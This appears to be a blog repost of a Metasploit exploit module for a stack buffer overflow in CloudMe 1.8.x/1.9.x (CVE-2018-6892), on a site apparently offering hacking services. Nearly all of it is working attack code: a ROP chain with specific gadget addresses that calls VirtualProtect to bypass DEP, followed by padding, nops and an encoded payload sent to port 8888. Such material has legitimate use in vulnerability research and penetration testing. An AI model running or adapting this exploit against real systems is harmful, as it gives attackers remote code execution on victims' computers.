Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86381567

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)
# Date: 2018-08-13
# Exploit Author: Raymond Wellnitz
# Vendor Homepage: https://www.cloudme.com
# Version: 1.8.x/1.9.x
# Tested on: Windows 7 x64
# CVE : 2018-6892

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cloudme v1.8.x/v1.9.x Buffer Overflow with DEP-Bypass',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Cloudme v1.8.x/v1.9.x.
      },
      'Author'         => [ 'Raymond Wellnitz' ],
      'References'     =>
        [
          [ 'CVE', 'CVE-2018-6892' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00"
        },
      'Targets'        =>
        [
          [ 'Windows x86_32/64',   		{ 'Ret' => 0x6cfa88a2  } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '11.02.2018'))

    register_options([ Opt::RPORT(8888) ])
  end

def create_rop_chain()
    rop_gadgets = [
      0x6cf98182,  # POP EAX # RETN [icuin49.dll]
      0x68c848d8,  # ptr to &VirtualProtect() [IAT Qt5Core.dll]
      0x61b4d226,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 
      0x668d8261,  # XCHG EAX,ESI # RETN [libGLESv2.dll] 
      0x68a5c297,  # POP EBP # RETN [Qt5Core.dll]      
      0x688dd45d,  # & JMP ESP [Qt5Core.dll]
      0x68abe868,  # POP EAX # RETN [Qt5Core.dll]
      0xfffffdff,  # 201
      0x1004b263,  # NEG EAX # RETN [LIBEAY32.dll]
      0x689687d2,  # XCHG EAX,EBX # RETN
      0x68abe868,  # POP EAX # RETN [Qt5Core.dll]
      0xffffffc0,  # 40
      0x1004b263,  # NEG EAX # RETN [LIBEAY32.dll]
      0x6751d479,  # XCHG EAX,EDX # RETN [icuuc49.dll]
      0x100010c7,  # POP ECX # RETN [LIBEAY32.dll]
      0x6494ea0a,  # &Writable location [libwinpthread-1.dll]
      0x68a49534,  # POP EDI # RETN [Qt5Core.dll] 
      0x1008df82,  # RETN (ROP NOP) [LIBEAY32.dll]
      0x68ad025b,  # POP EAX # RETN [Qt5Core.dll]
      0x90909090,  # NOPS
      0x6759bdb4,  # PUSHAD # RETN [icuuc49.dll] 
    ].flatten.pack("V*")
    return rop_gadgets
end

  def exploit
    connect

    sploit = rand_text_alpha_upper(1036)
    sploit << create_rop_chain()
    sploit << make_nops(30)
    sploit << payload.encoded

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n\r\n")

    handler
    disconnect
  end
end